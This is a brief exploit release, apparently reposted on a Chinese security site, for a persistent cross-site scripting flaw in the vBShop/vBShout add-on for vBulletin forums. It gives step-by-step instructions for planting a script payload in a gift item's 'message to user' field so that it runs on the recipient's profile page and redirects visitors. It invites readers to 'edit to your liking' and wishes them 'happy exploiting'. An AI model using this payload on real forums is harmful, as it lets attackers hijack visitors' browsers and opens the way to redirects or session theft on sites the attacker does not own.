标题: vBshop persistent XSS 0day
作者 : ToiL
下载地址: http://www.dragonbyte-tech.com/
影响版本:全部

#Greeting from Team Odyessy.
#Today we will release a 0day for the vBulletin mod, vBShout.
#This 0day exploit is brought to you by
www.Bugabuse.net/<http://www.bugabuse.net/>
#Have fun, And happy exploiting.
 
######导航########
 
 
Go to vBshop
Gift an item to aother user.
In the 'message to user' put:
<script>top.location= 'https://www.2cto.com/ ';</script>
Send the item off.
Go to the users profile that you gifted
Boom. Pers. XSS.
Edit to your likeing.